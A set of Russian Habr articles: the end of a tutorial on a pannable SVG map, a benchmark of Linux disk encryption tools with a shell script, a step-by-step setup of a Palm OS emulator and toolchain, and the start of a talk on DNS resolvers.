И почему у нас до сих пор нет более цивилизованного (и стабильно работающего) способа это сделать? Каждый раз дергать getBoundingClientRect очень нехорошо в плане производительности, но выбор не очень богатый, да и на глаз заметить торможение практически невозможно, так что не будем придумывать преждевременные оптимизации там, где и так все работает приемлемо. Так или иначе, это позволяет нам сделать проверку положения слоя со зданиями и перемещать все только если это имеет смысл:
```
let translateX = 0;
let translateY = 0;
hammertime.on('pan', (e) => {
const layer = buildingsLayer.getBoundingClientRect();
const parent = svg.getBoundingClientRect();
const offsets = {
top: layer.top - parent.top,
bottom: layer.bottom - parent.bottom,
right: layer.right - parent.right,
left: layer.left - parent.left,
};
const speedX = e.velocityX * 10;
const speedY = e.velocityY * 10;
if (speedX > 0 && offsets.left < 0) {
// туда
} else if (speedX < 0 && offsets.right > 0) {
// сюда
}
if (speedY > 0 && offsets.top < 0) {
// туда
} else if (speedY < 0 && offsets.bottom > 0) {
// и сюда
}
buildingsLayer.setAttribute('transform', `translate(${translateX} ${translateY})`);
});
```
По краям обычно стоит замедлить движение, чтобы не было резких остановок или рывков. Таким образом все туда-сюда превращаются во что-то такое:
```
if (speedX < -offsets.left) {
translateX += speedX;
} else {
translateX += -offsets.left * speedX / 10;
}
```
Вариантов замедлений можно придумать много. Этот – самый простой. И да, он не очень красивый, но зато тупой как пробка и понятный. Коэффициенты в таких примерах обычно подбираются на глаз, в зависимости от желаемого поведения карты.
Если открыть браузер и поиграться с размером окна в инструментах разработчика, то можно обнаружить, что что-то пошло не так...
Нечистые силы
-------------
На десктопных устройствах все работает, а на мобильных происходит магия, а именно – вместо перемещения карты перемещается элемент body. У-у-у-у-уууу! Только приведения там не хватает. Хотя ладно, это бывает потому, что что-то где-то переполнилось и какой-то обертке не задали overflow: hidden. Но в нашем случае может случиться такое, что совсем ничего не двигается.
> Загадка для зеленых верстальщиков: есть элемент g, внутри элемента svg, внутри элемента div, внутри элемента body, внутри элемента html. Doctype естественно html. Если для перетаскивания элемента g добавить к нему transform: translate(…), то на ноутбуке он переместится, как и задумано, а на телефоне — даже не шелохнется. Ошибок в консоли нет. Но баг определенно есть. Браузер – последний Хром и там и там. Вопрос – почему?
*Предлагаю вам подумать минут 10 без гугла перед тем, как смотреть ответ.*
**Ответ**
Ха-ха! Я вас обманул. Точнее не так. Я описал то, что мы бы наблюдали при ручном тестировании. Но на самом деле все работает так, как и должно работать. Это не баг, а фича, связанная с CSS-свойством [touch-action](https://developer.mozilla.org/en-US/docs/Web/CSS/touch-action). В контексте нашей задачи (внезапно!) обнаруживается, что оно есть, и, более того, имеет некоторое значение, которое ломает всю логику взаимодействия с картой. Так что поступаем с ним очень грубо:
```
svg {
touch-action: none !important;
}
```
Но вернемся к нашим баранам и посмотрим на результат (лучше, конечно, открыть в отдельной вкладке):
Я решил не подгонять код под какой-то из модных фреймворков, чтобы он остался в виде нейтральной бесформенной заготовки, от которой можно отталкиваться при создании своих компонентов.
Что в итоге?
------------
Потратив совсем немного времени мы сделали план, на котором есть растровая картинка, подсветка разных ее деталей, соединение несвязанных объектов стрелочками и реакции на мышку. Я надеюсь, что удалось передать основную идею того, как все это делается в “бюджетном” варианте. Как мы отметили в начале статьи, вариантов применения можно найти много разных, в том числе и не связанных с какими-то замороченными дизайнерскими сайтами (хотя и на них такой подход применяется очень часто). Ну а если вы ищете что почитать про интерактивные, но уже трехмерные штуки, то оставляю ссылку на статью по теме — [Трехмерные презентации товаров на Three.js для самых маленьких](https://habr.com/ru/post/433876/). | https://habr.com/ru/post/478698/ | null | ru | null |
# Сравнение производительности различных систем шифрования под linux
В данной статье я попытаюсь сравнить производительность различных систем шифрования под linux. В теории, конечно, известно, какая система производительнее, и попытки посчитать производительность разных систем были ([например](http://habrahabr.ru/post/57884/)). Truecrypt даже содержит встроенный бенчмарк (который показывает, однако, производительность на RAM, его можно использовать разве что для оценки скорости разных алгоритмов шифрования). Я же сделаю несколько другое — измерю скорость файловой системы, зашифрованной разными средствами, в процентном соотношении по сравнению с обычной нешифрованной файловой системой.
Шифровать будем отдельный раздел на отдельном HDD, не содержащий корневую файловую систему, алгоритмом, использующимся по-умолчанию в каждом конкретном случае. Как обычный пользователь, я не разбираюсь в нюансах стандартов шифрования (например, чем отличается хэширование RIPEMD-160 от Whirpool, какой из этих режимов быстрее, какой способствует более высокой защите), поэтому просто положимся на то, что производители каждого программного продукта выбрали достаточно криптостойкие параметры по-умолчанию. Может, это и не совсем корректно, т. к. производительность различных алгоритмов шифрования неодинакова. При желании, конечно можно сменить тип шифрования, но я не уверен, что во всех тестируемых продуктах существует абсолютно идентичный набор алгоритмов. Тестировать будем:
1) [LUKS](http://en.wikipedia.org/wiki/LUKS) — нативная система шифрования, в теории должна быть самой быстрой. Тома, зашифрованные LUKS можно использовать в Windows через FreeOTFE.
2) [Truecrypt](http://en.wikipedia.org/wiki/Truecrypt) — в отличии от LUKS имеет, кроме консольного, и GUI-интерфейс, что делает его на порядок удобнее в использовании. Мультиплатформенное ПО. Обеспечение двух уровней правдоподобного отрицания наличия зашифрованных данных, необходимого в случае вынужденного открытия пароля пользователем. Тома Truecrypt не имеют заголовка, их нельзя отличить от набора случайных данных. В теории медленнее, чем LUKS, т.к. использует [FUSE.](http://en.wikipedia.org/wiki/Filesystem_in_Userspace)
3) [eCryptfs](http://en.wikipedia.org/wiki/Ecryptfs) — система, по умолчанию предлагаемая пользователям Ubuntu для шифрования домашних каталогов, поэтому и включена в данный тест. Работает поверх уже существующей ФС. Шифрует каждый файл отдельно, поэтому всем видны права, даты изменения, количество зашифрованных файлов; по-умолчанию также видны имена файлов, хотя и существует опция для их шифрования. Самое малофункциональное средство из представленных.
4) [EncFS](http://en.wikipedia.org/wiki/EncFS) — примерный аналог eCryptfs, но использует FUSE.
Итак, для тестов выделена отдельная машина довольно преклонного возраста в следующей конфигурации: ЦП — Intel Celeron 2000Mhz, ОЗУ — 512 Mb DDR PC2700, системный HDD — WD Caviar SE 5400 RPM 80Gb, тестовый HDD — WD Caviar SE 7200 RPM 80Gb.
ОС — Ubuntu 12.04 LTS, версии всего ПО актуальные для репозиториев этой ОС на момент написания статьи (Truecrypt 7.1a-linux-x86 не из репозиториев).
Тестировать будем дефолтную для большинства дистрибутивов файловую систему ext4. Для тестирования производительности будем использовать утилиту [iozone3](http://www.iozone.org) и написанный «на коленке» shell-скрипт для измерения процентной разницы в тестах.
**Скрипт для подсчёта. Особое внимание чистоте кода не уделялось, единственным критерием при написании было наличие правильного результата.**
```
#!/bin/sh
gendifffile () {
#процедура генерирует файл, который удобно анализировать. Во-первых, обрезаются
#не подлежащие анализу строки; во-вторых, в каждой строке обрезаются первых два числа, обозначающие
#размер файла и размер записи соответственно; в-третьих, весь файл выводится построчно -
#один результат теста на одну строку
cat $1 | while read LINE ; do
echo $LINE| grep "^[[:space:]]*[[:digit:]]" | awk '{for (i=3;i<=NF;i++) {print $i}}'
done >> $2
}
getline () {
#процедура выводит строку номер $2 файла $1
head -n $2 "$1" | tail -n 1
}
compare () {
#процедура сравнивает построчно файлы $1 и $2, вычисляя процентную разницу каждой пары тестов
#затем вычисляется среднее арифметическое значение, на сколько процентов быстрее или медленнее
#файл, содержащий первую группу тестов, файла, содержащего вторую группу
P=0
MAX=0
L1=`cat "$1" | wc -l` #количество тестов в файле
L2=`cat "$2" | wc -l`
if [ $L1 -ne $L2 ]; then #если файлы содержат разное количество тестов, то сравнивать их мы не будем
echo error
return
fi
STEP=$(( $L1*5/100 ))
J=0
for I in `seq 1 $L1`; do
J=$(( $J+1 ))
if [ $J -eq $STEP ]; then
J=0
echo "$(( 100*$I/$L1 ))% завершено ($I из $L1)"
fi
A=`getline "$1" $I`
B=`getline "$2" $I`
if [ `echo $A \> $B|bc -l` -eq 1 ]; then
D=`echo "100-($B*100/$A)"|bc -l`
if [ `echo $D \> $MAX| bc -l` -eq "1" ]; then
MAX=$D
sleep 5
fi
else
D=`echo "100-($A*100/$B)"|bc -l`
if [ `echo $D \> $MAX| bc -l` -eq "1" ]; then
MAX=$D
sleep 5
fi
D="-$D" #если значение имеет знак "-", значит, данный тест был выполнен быстрее
#во втором файле, а не в первом
fi
P=`echo "$P+$D"| bc -l`
done
P=`echo $P/$L1| bc -l` #вычислим среднее арифметическое
echo PERCENT=$P MAX_PERCENT=$MAX
}
genaverage () {
#процедура генерации подготовленного к анализу файла, каждой строкой которого является
#среднее арифметическое соответствующих строк всех файлов отчётов, лежащих в анализируемой директории
AVG=`mktemp`
F=`ls "$1"|wc -l` #количество файлов с отчётами в заданной директории
#при условии, что там хранятся только такие файлы и больше ничего другого
#проверять корректность данного допущения мы не будем
if [ ! -d "$1" -o $F -lt 2 ]; then
echo error >/dev/stderr #в этой процедуре будем выводить все сообщения в stderr, т.к.
#stdout подставляется в другую процедуру
rm -f $AVG
exit
fi
TMP=`mktemp`
find "$1" -type f| while read FILE; do #для каждого файла отчёта iozone, лежащего в заданной директории
I=`mktemp` #сгенерируем временный файл, подготовленный для анализа
gendifffile "$FILE" "$I" #имена всех таких файлов запишем в "TMP" построчно
echo "$I">>$TMP
done
L=`cat \`getline "$TMP" 1\`|wc -l`
cat "$TMP"| while read LINE; do #немного проверок не помешает
L1=`cat "$LINE"| wc -l` #все ли файлы содержат одинаковое количество тестов
if [ $L -ne $L1 ]; then
echo error >/dev/stderr
exit
fi
done
STEP=$(( $L*5/100 ))
J=0
for I in `seq 1 $L`; do
J=$(( $J+1 ))
if [ $J -eq $STEP ]; then
J=0
echo "$(( 100*$I/$L ))% завершено ($I из $L)" >/dev/stderr
fi
SUMFILE=`mktemp` #таким образом я получаю значение переменной SUM из вложенного цикла
SUM=0
cat "$TMP"| while read LINE; do
SUM=$(( `getline "$LINE" $I`+$SUM ))
echo $SUM > "$SUMFILE"
done
echo `tail -n 1 "$SUMFILE"`/$F|bc -l >> $AVG #получаем среднее арифметическое
#и запишем его в соответствующее место
#файла AVG
rm -f "$SUMFILE"
done
cat "$TMP"| while read LINE; do #удалим временныe файлы
rm -f "$LINE"
done
rm -f "$TMP"
echo $AVG
}
printf %b "\\033[1;31mШаг 1/3\n"
printf %b "\\033[1;37m"
echo Генерируем усреднённый файл для директории \""$1"\"
A=`genaverage "$1"`
printf %b "\\033[1;31mШаг 2/3\n"
printf %b "\\033[1;37m"
echo Генерируем усреднённый файл для директории \""$2"\"
B=`genaverage "$2"`
printf %b "\\033[1;31mШаг 3/3\n"
printf %b "\\033[1;37m"
echo Сравниваем усреднённые файлы
compare "$A" "$B"
rm -f $A $B
```
Под спойлером расскажу подробнее об алгоритме тестирования, для того, чтобы каждый мог сам провести интересующий его тест.
**алгоритм тестирования**1) подключаем тестируемый *нешифрованный* раздел к точке монтирования, переходим в неё, запускаем серию тестов iozone
```
i=0
while true; do
i=$(( $i+1 ))
echo i=$i
time iozone -a >report$i
echo sleeping 180
sleep 180
done
```
Прогоняем столько кругов, сколько не жалко. Чем больше число, тем точнее результат. Для некоторых видов теста (для самых медленных) большое число кругов неважно, хватит 5.
Складываем результаты в отдельную директорию, назовём её, например, unencrypted.
2) шифруем раздел, подключаем к точке монтирования, аналогично прогоняем серию тестов, складываем результаты в другую директорию (например, encrypted).
3) запускаем скрипт подсчёта, передав ему имена обеих директорий в качестве параметров. Скрипт выведет некоторое число, на сколько процентов, в среднем, состоит разница в производительности между отчётами первой и второй директории. Если число >0, значит, отчёты первой директории быстрее на это число процентов; и наоборот, если число <0 — значит, медленнее.
Положимся на режим -a, в котором iozone должен произвести в автоматическом режиме серию тестов, которые покрывают всевозможные операции с файлами разных размеров и разной длиной записи (моя версия произвела 1638 тестов).
В ходе эксперимента выяснилось, что одна серия тестов iozone может отличаться от другой по производительности на 5%, поэтому я не буду рассчитывать на результаты одного-единственного набора тестов и поступлю таким образом: проведу набор тестов несколько раз и сгенерирую файл с усредненными значениями по каждому из тестов (во всех расчётах данной статьи под усредненными значениями понимается среднеарифметическое значение). После этого я сравню усредненный файл, содержащий серию тестов по незашифрованной файловой системе с аналогичным файлом, содержащим серию тестов на зашифрованной ФС таким образом: каждый тест первого файла будет сравнен с соответствующим тестом второго в процентном соотношении, результаты сложим, а сумму разделим на количество тестов, получив среднеарифметическое значение, на сколько процентов первая группа тестов быстрее или медленнее второй.
Также, для простой оценки скорости, в дополнение к вышеописанным вычислениям, проведем простенький тест — копирование средствами dd 500 мегабайт из urandom на зашифрованную ФС блоками, равными размеру кластера ext4 по-умолчанию (4 килобайта). dd if=/dev/urandom of=testfile bs=4k count=128000. Шифровать будет раздел целиком (за исключением eCryptfs, которая этого делать не умеет). Я не буду приводить команды для каждого конкретного случая, покажу только результаты.
Итак, приступим:
1) Система шифрования: нет
Количество проведенных серий тестов: 14
Средняя разница в производительности между одинаковыми сериями тестов: 1,3%
Результат dd: 524288000 bytes (524 MB) copied, 187.823 s, 2.8 MB/s
2) Система шифрования: LUKS. Используя ключи по-умолчанию, наш том будет зашифрован так:
Cipher name: aes
Cipher mode: cbc-essiv:sha256
Hash spec: sha1
Количество проведенных серий тестов: 8
Средняя разница в производительности между одинаковыми сериями тестов: 1,4%
Результат dd: 524288000 bytes (524 MB) copied, 199.505 s, 2.6 MB/s
Падение производительности по сравнению с нешифрованной ФС: **7,9%**
3) Система шифрования: Truecrypt. Применяя все параметры по-умолчанию, том будет зашифрован AES с алгоритмом хеширования RIPEMD-160.
Количество проведенных серий тестов: 22
Средняя разница в производительности между одинаковыми сериями тестов: 3,2%
Результат dd: 524288000 bytes (524 MB) copied, 199.719 s, 2.6 MB/s
Падение производительности по сравнению с нешифрованной ФС: **7%**
4) Система шифрования: eCryptfs
aes: blocksize = 16; keysize = 16
Количество проведенных серий тестов: 9
Средняя разница в производительности между одинаковыми сериями тестов: 0,9%
Результат dd: 524288000 bytes (524 MB) copied, 199.624 s, 2.6 MB/s
Падение производительности по сравнению с нешифрованной ФС: **49,5%**
5) Система шифрования: EncFS
Применяя предустановленный режим *paranoia*, будут использованы следующие настройки:
Cipher: AES
Key Size: 256 bits
PBKDF2 with 3 second runtime, 160 bit salt
Filesystem Block Size: 1024 bytes
Filename Encoding: Block encoding with IV chaining
Unique initialization vector file headers
Message Authentication Code block headers
External IV Chaining
Количество проведенных серий тестов: 5
Средняя разница в производительности между одинаковыми сериями тестов: 0,7%
Результат dd: 524288000 bytes (524 MB) copied, 293.656 s, 1.8 MB/s
Падение производительности по сравнению с нешифрованной ФС: **94,5%**
Итог: EncFS показала самый плохой результат. Производительность eCryptfs по всевозможным файловым операциям оставляет желать лучшего, хотя обычный тест dd с оптимальным размером блока показывает скорость, аналогичную остальным системам шифрования. Шифровать целиком ей домашнюю директорию я бы не стал. Удобно применять лишь при шифровании отдельных поддиректорий. Ожидания меньшей производительности Truecrypt из-за использования FUSE не оправдались, в моём случае он оказался даже немного быстрее LUKS.
В дополнение, как бонус, приведу аналогичный тест dd для Truecrypt и LUKS, но для file-hosted контейнера (все параметры шифрования аналогичны).
1) LUKS
524288000 bytes (524 MB) copied, 207.07 s, 2.5 MB/s
2) Truecrypt
524288000 bytes (524 MB) copied, 205.046 s, 2.6 MB/s
Падение производительности можно объяснить тем, что появляются дополнительные накладные расходы на чтение файла контейтера с уже существующей файловой системы вместо прямого обращения к разделу.
P.S. Добавлена EncFS.
P.P.S. Добавлено подробное описание алгоритма тестирования. | https://habr.com/ru/post/201694/ | null | ru | null |
# Программирование для Palm в 2017 году
*Я, в трезвом уме и доброй памяти, рассказываю как, в 2017 году начать программировать для исчезнувшей платформы.*
Шло 12 мая 2017 года. Лежащий снег за окном и включённое отопление навевали мысли о вечном, и мой взор упал на шикарный промышленный КПК под управлением PalmOS.
*Терминал сбора данных*
Когда-то он мне был отдан, но я им ни разу так и не пользовался. По началу у него не было шнурка для СОМ-порта. А потом в процессе искусственной подпайки к контактам — был оборван шлейф от материнской платы кредла до разъёма порта КПК. Так и лежал мёртвым грузом.
И восхотел я реанимировать данный пальм, а чтобы была мотивация, решил для начала поглядеть какие бывают эмуляторы под linux, дабы посмотреть какое ПО есть и стоит ли овчинка выделки. И с поиском, установкой эмулятора немного увлёкся… Снега, холодная погода мая так повлияли на меня, что я решил попробовать писать для данного КПК. Тем более, что Palm — это КПК моей студенческой молодости, тогда это был безумно крутой гаджет. Тогда я не умел программировать под них, но очень хотел. Спустя больше 14 лет (почувствуй себя старым, ага) — решил таки попробовать это сделать.
Если вам интересно, как эмулировать данный КПК, а ещё лучше писать для него ПО, то поехали читать дальше.
Что же нужно, чтобы начать разрабатывать под Palm?
--------------------------------------------------
Этот вопрос может кому-то показаться простым: мол, скачай компилятор и в путь. Да, начать разрабатывать под пальм очень просто. Простота такая же как на всем известной картинке:
Самое забавное, что пользователям Windows либо надо купить компилятор **Metrowerk's CodeWarrior for Palm**, либо превратить свою Windows в UNIX с помощью cygwin и далее примерно всё так же как будет описано ниже для linux. Не знаю как сейчас обстоят дела с современными виндами, но путь явно настоящих извращенцев и, судя по множеству форумов и статей, не всем по зубам. Так что дальнейшие действия описываются для Linux Mint (читай ubuntu 14.04). Путь рабочий.
Итак, что же нам нужно для разработки, отладки, проверки нашего ПО:
* Эмулятор Palm (POSE).
* Образ ROM для POSE.
* PRC tools (GCC, компилирующий программы для PalmOS).
* PalmOS SDK.
* PilRC (компилятор ресурсов).
Эмулятор **Palm POSE (Palm Operation System Emulator)** — программа, которая позволяет запускать всевозможные программы без копирования их на Palm. Что очень удобно. Особенно для тех, у кого Пальма нет, а хочется поиграться с разным ПО. Но эмулятор не будет работать без **образа ROM** — это, собственно образ прошивки живого КПК. Снять его можно тем же POSE с настоящего КПК, либо скачать в интернете. **PRC tools** — это, собственно говоря, набор инструментов для компиляции программ (компилятор, линковщик, отладчик). Как это не печально, но PRC tools не будет работать без **PalmOS SDK** под конкретную версию PalmOS. На то чтобы понять это, ушло пару дней чтения мануалов. Ну и последнее — это компилятор и просмоторщик ресурсов **PilRC**, штука которая позволяет готовить бинарные файлы отвечающие за отрисовку меню и замены картинок на экране.
В чём сложность?
----------------
Всё это можно было взять на официальном сайте [palmos.com](https://palmos.com). Но увы, и ах, фирма Palm умерла в 2010 году (поглощена Hewlett-Packard) и сайт их умер.
Большая часть ссылок в интернете — битая. В результате поиск и установка всего ПО превратилась в занимательный квест по поиску пакетов, документации, инструкций, тестирования, который вылился в данную статью.
Путей по получения данного софта достаточно много. Один из джедайских линукс путей был — всё собрать из исходников и даже честно пытался…
Но понял, что это совсем гемморный путь Здесь я буду рассказывать о самом простом и быстром пути (может не оптимальном).
Все пакеты, архивы и ПО, о котором говорится в статье было заботливо собранно в единый архив. Чтобы вы могли даже спустя 10 лет наткнувшись на данную статью, в порыве ностальгии начать программировать для PalmOS.
Эмулятор PalmOS
---------------
Самый интересный, и наверное востребованный параграф в данной статье. Собирать программы мало кто будет, а вот попробовать погонять старые игрушки или разное ПО — это пожалуйста.
Для его установки нам понадобится:
* сам эмулятор POSE
* шкурки (skins) различных КПК
* файл ROM-КПК, которого мы хотим эмулировать.
Эмулятор был найден мной [вот тут](https://launchpad.net/ubuntu/lucid/i386/pose/3.5-9.1ubuntu2) (файл pose\_3.5-9.1ubuntu2\_i386.deb в архиве). Скачиваем и устанавливаем его командой
```
sudo dpkg -i pose_3.5-9.1ubuntu2_i386.deb
```
Шкурки были найдены [вот тут](https://www.zophar.net/linux/palm/the-palm-os-emulator.html) вместе с исходниками POSE. Это файл **emulator-skins-19.tar.gz** в архиве. Распаковываем данный архив в домашнюю папке и переименовываем её в Skins или skins. В результате внешний вид будет соответствовать реальной железке. Это просто приятный бонус, без которого и так всё будет работать.
Чтобы эмулятор заработал, нужно ему дать файл с ROM. Ромы были найдены [вот тут](http://www.mypalm.ru/html/emul-rom.shtml). Лично я использую **palmos40-en-m505.rom**. Запускаем POSE из консоли, в той папке откуда брать ROMы, так как данный софт не любит русские буквы. Правой кнопкой тычем на пустом окне, выбираем File-New в открывшемся окне выбираем ROM file и сам файл.
И жмём OK. Если всё сделано правильно, то получаем рабочий эмулятор, в котором можно уже запускать практически любой софт Palm (за исключением работы с железом).
*Готовый эмулятор*
Самый приятный бонус, что инсталляция программ идёт в два клика и очень быстро, в отличии от установки на живой КПК. Это важно при написании и отладке ПО.
Тулчейн и SDK
-------------
Для того, чтобы все начало функционировать, нужно поставить еще несколько вещей. А именно: PRC tools, SDK для palm'а и PilRC. PRC tools — это порт нашего любимого GCC, но с выходным форматом для PalmOS. В SDK находятся несколько библиотек и куча заголовков для Palm API. Наконец, PilRC нужен для компиляции ресурсов. Ниже говорится о том, как установить PRC tools и SDK.
Исходники PRC tools можно найти [тут](http://sourceforge.net/projects/prc-tools/). Это связка заплаток для binutils, gdb, GCC и компоновщика, дающая поддержку PalmOS. Лично ставил ставил [по инструкции](https://en.wikibooks.org/wiki/Programming_for_Palm_OS/PrcTools). Инструкция ниже — просто копия её. Можно не заниматься скачиванием пакетов, а просто установить всё из папки в архиве prc-tools:
```
cd /tmp
#установка эмулятора
wget http://ftp.gnome.org/mirror/cdimage/snapshot/Debian/pool/main/p/prc-tools/prc-tools-arm_2.2.90.cvs20030306-6_i386.deb
wget http://ftp.gnome.org/mirror/cdimage/snapshot/Debian/pool/main/p/prc-tools/prc-tools-doc_2.2.90.cvs20030306-6_all.deb
wget http://ftp.gnome.org/mirror/cdimage/snapshot/Debian/pool/main/p/prc-tools/prc-tools-m68k_2.2.90.cvs20030306-6_i386.deb
wget http://ftp.gnome.org/mirror/cdimage/snapshot/Debian/pool/main/p/prc-tools/prc-tools-utils_2.2.90.cvs20030306-6_i386.deb
wget http://ftp.gnome.org/mirror/cdimage/snapshot/Debian/pool/main/p/prc-tools/prc-tools_2.2.90.cvs20030306-6_all.deb
wget http://old-releases.ubuntu.com/ubuntu/pool/universe/p/pilrc/pilrc_3.2-3_i386.deb
sudo apt-get install libstdc++5
sudo dpkg -i *.deb
```
Всё, теперь у нас появился рабочий компилятор. Но он нифига не компилирует, так как вместо заголовочных файлов у нас просто заглушки. Нужно установить сам SDK. Разработку планировал вести для PalmOS 3.5 и брал [его здесь](http://web.archive.org/web/20141224205502/http://cdn.xenu.tk/pub/palm-archive/pub/programming/sdk/3.0/), там же есть и для более поздних версий PalmOS (4-й и 5-й).
Аналогично, можно не заниматься закачиваением файла wget, а просто перейти в папку sdk-3.0 и сделать всё из неё.
```
#качаем sdk
wget http://web.archive.org/web/20141224205502/http://cdn.xenu.tk/pub/palm-archive/pub/programming/sdk/3.0/sdk35.tar.gz
#подготавливаем папки для него
sudo mkdir /usr/local/palmdev
sudo mkdir /usr/local/palmdev/sdkpalmos-3.5
#распаковываем его
tar -xzf sdk35.tar.gz
#копируем содержимое с правами суперпользователя
sudo cp -r Palm\ OS\ 3.5\ Support/* /usr/local/palmdev/sdkpalmos-3.5/
cd /usr/local/palmdev/sdkpalmos-3.5/
#переименовываем папки в нормальный вид (не знаю почему в архиве назывались вот так)
sudo mv Incs include
sudo mv GCC\ Libraries lib
#САМАЯ ГЛАВНАЯ ОПЕРАЦИЯ!
#Мы говорим нашему тулчейну, где у нас теперь лежит SKD и какой мы используем по умолчанию.
sudo palmdev-prep /usr/local/palmdev/sdkpalmos-3.5/
```
У SDK есть несколько полезнейших архивов:
* sdk35-docs.tar.gz — архив с документацией. По-моему просто находка!
* sdk35-examples.tar.gz — замечательный архив с примерами. Настоятельно рекомендую их скачать или взять из архива.
На данном этапе мы можем даже собрать примитивный helloword! Создаём файл hello.c. Пишем в него
```
#include
UInt32 PilotMain( UInt16 cmd, void \*cmdPBP, UInt16 launchFlags)
{
EventType event;
char \*message = "Hello, world!";
if ( sysAppLaunchCmdNormalLaunch == cmd)
{
WinDrawChars( message, StrLen(message), 55, 74 );
do {
EvtGetEvent( &event, evtWaitForever);
SysHandleEvent( &event);
} while (event.eType != appStopEvent);
}
return 0;
}
```
И компилируем последовательностью команд
```
m68k-palmos-gcc HelloWorld.c -o hello
m68k-palmos-obj-res hello
build-prc Hello.prc "Hello" HELO *.hello.grc
```
Заливаем файл **hello.prc** в наш эмулятор, запускаем и получаем
Компилятор ресурсов PilRC
-------------------------
В общем-то может показаться, что усё, можно программировать. Так-то оно так, и все программы будут теперь компилироваться, собираться и запускаться, но работать не будут! Так как им ещё нужно компилировать ресурсы. (логично, блин). Для компиляции ресурсов нам нужен сам компилятор PilRC, а для их просмотра PilRCUI. Данный проект жив и здоров, исходники обитают [тут](https://sourceforge.net/projects/pilrc/). Настоятельно рекомендую скачать исходники (есть в архиве), так как там полным полно отличной документации. А сами пакеты мной были обнаружены в старых [репозитариях убунты](http://old-releases.ubuntu.com/ubuntu/pool/universe/p/pilrc/). Для компилятора пакетов нужно скачать файл pilrc\_3.2-3\_i386.deb (есть в архиве)и установить его командой
```
sudo dpkg -i pilrc_3.2-3_i386.deb
```
Просмоторщик ресурсов в моей текущей версии ОС мне установить не удалось. Точнее удалось, но он вылетает с ошибкой (которую я не смог исправить). Привожу примерный вариант установки: для его установки надо установить дополнительные библиотеки. Было потрачено пару дней, чтобы удовлетворить все зависимости. В гугле меня просто забанили.
Надо скачать с сайтов [1](https://launchpad.net/ubuntu/+source/glib1.2/1.2.10-19build1/+build/462715) и [2](https://launchpad.net/ubuntu/+source/gtk+1.2/1.2.10-18.1build2/+build/484191) файлы: ibglib1.2ldbl\_1.2.10-19build1\_i386.deb, libgtk1.2\_1.2.10-18.1build2\_i386.deb and libgtk1.2-common\_1.2.10-18.1build2\_all.deb. Всё это было сложено в папочку либс в глобальном архиве. После этого их ставим
```
sudo dpkg -i libgtk1.2-common_1.2.10-18.1build2_all.deb libglib1.2ldbl_1.2.10-19build1_i386.deb libgtk1.2_1.2.10-18.1build2_i386.deb
```
Но, увы, это всё чудо запускается, но при попытке открыть проект — падает с ошибкой сегментирования. Всё это успешно пока работает только в ubuntu 8.04 стабильно ставиться из репозитариев и для просмотра пользуюсь ей, монтируя по SSHFS папку с проектом.
Настоящий графический HelloWord!
--------------------------------
Пришла пора показать как написать настоящую графическую программу для Palm! Не буду изобретать велисипед и просто покажу пример из [Туториала](http://mobile.eric-poncet.com/palm/tutorial/hello.html).
Программа состоит из нескольких файлов:
* hello.bmp — полноразмерная иконка
* hellosmall.bmp — миниатюрная иконка
* hello.c — исходный файл программы
* hello.h — заголовочный файл
* hello.rcp — файл ресурсов (текстовый)
* Makefile — и сам файл сценария сборки
Не буду подробно останавливаться на особенностях разработки и программирования, если будет интересно вы можете сами посмотреть данные файлы в текстовом редакторе. Интересно посмотреть текстовый файл ресурсов, как же он будет выглядить на КПК. Для этого и нужна программа PilRCUI. Скриншот из Ubuntu 8.04
Компилируем всё командой make и заливаем получившийся hello.prc в наш эмулятор.
*Иконка*
*Запуск*
**Просмотр информации**
Окей, скажете вы. Эмулятор — это хорошо, а как же живой КПК? Их есть у меня! Пройдясь по друзьям, смог откопать старого друга, который служил мне верой и правдой в студенческие времена. Palm m100. И там эта программа успешно работает!
Зачем это всё нужно, и что же дальше?
-------------------------------------
Зачем я это сделал — не знаю. Потому что могу, как в старой доброй картинке.
Меня просто пёрло, вот и сделал. Если вы думаете, что в наше время никто не пишет для PalmOS, то как оказывается это не так. Когда я искал, чтобы прикольного написать, то подумал о игре 2048, в которую рубится половина вагона метро. И как оказалось, есть несколько их версий. Например [вот](https://github.com/nizovn/2048.prc).
Написана совершенно недавно. Так, что никогда не поздно учиться программировать для пальмов.
О железе
--------
Если вам интересны подобные посты о КПК, и у вас внезапно есть старые ненужные КПК особенно семейства Palm, Psion (с проводом для СОМ-порта), то я с радостью приму их в дар, для написания подобных постов.
*Парк КПК c linux, который пришлось раздать...*
Например, можно рассказать о том как поставить Debian на Psion, сделать локальный репозитарий и выйти с него в интернет. У меня в ЖЖ можно почитать всякие мои извращения по теме по тегу [psion](http://dlinyj.livejournal.com/tag/psion), [КПК](http://dlinyj.livejournal.com/tag/%D0%9A%D0%9F%D0%9A), [jornada](http://dlinyj.livejournal.com/tag/jornada), [jornada 720](http://dlinyj.livejournal.com/tag/jornada%20720).
Полезные ссылки:
1. [Главный архив с ПО, которое вам не нужно будет искать по всему интернету по битым ссылкам](https://yadi.sk/d/Jy3U6Q8K3JNfE2)
2. [Очень толковое описание на русском архитектуры PalmOS и пример программы](http://citforum.ru/programming/digest/palm_os/)
3. [Неплохое описание вхождения программирования для Пальмов с живыми ссылками.](https://en.wikibooks.org/wiki/Programming_for_Palm_OS)
4. [Отличный туториал программирования графических приложений от самых азов до профессионализма.](http://mobile.eric-poncet.com/palm/tutorial/index.html)
5. [Различные исходники описанием на русском](http://palmos.sources.ru/) | https://habr.com/ru/post/358168/ | null | ru | null |
# Пряморукий DNS: делаем правильно
Представляем вашему вниманию очень эмоциональный рассказ Льва Николаева ([@maniaque](https://habrahabr.ru/users/maniaque/)) о том, как надо настраивать DNS и особенно, как делать не надо. Вот прямо после каждого пункта можете мысленно добавлять: «Пожалуйста, не делайте этого!» В своем докладе Лев так и говорит.
Статья будет состоять из трех частей:
**1. [Как сделать резольвер (unbound, bind)](#bind)**
Резольвер — это та штука, которую вы прописываете в настройках своей операционной системы, чтобы можно было превращать понятные человеку адреса типа ya.ru в непонятное 87.250.250.242.
**2. [Как держать зоны (PowerDNS)](#powerdns)**
Если вы уже доросли до этого, расскажем, как держать зону самостоятельно, как это делать хорошо и отказоустойчиво, и как это делать, если у вас несколько сотен доменов.
**3. [Как взболтать, но не смешивать (PowerDNS + unbound)](#unbound)**
***О спикере:*** Три года назад Лев Николаев пришел в компанию Макснет, в которой DNS развивался как раз не совсем правильно. Был bind и текстовые файлы с зонами; руки чесались навести порядок. В основе статьи доклад на [Root Conf](http://rootconf.ru/) 2017, в ходе которого Лев делится с сообществом своим ассортиментом граблей.
Делаем резольвер
----------------
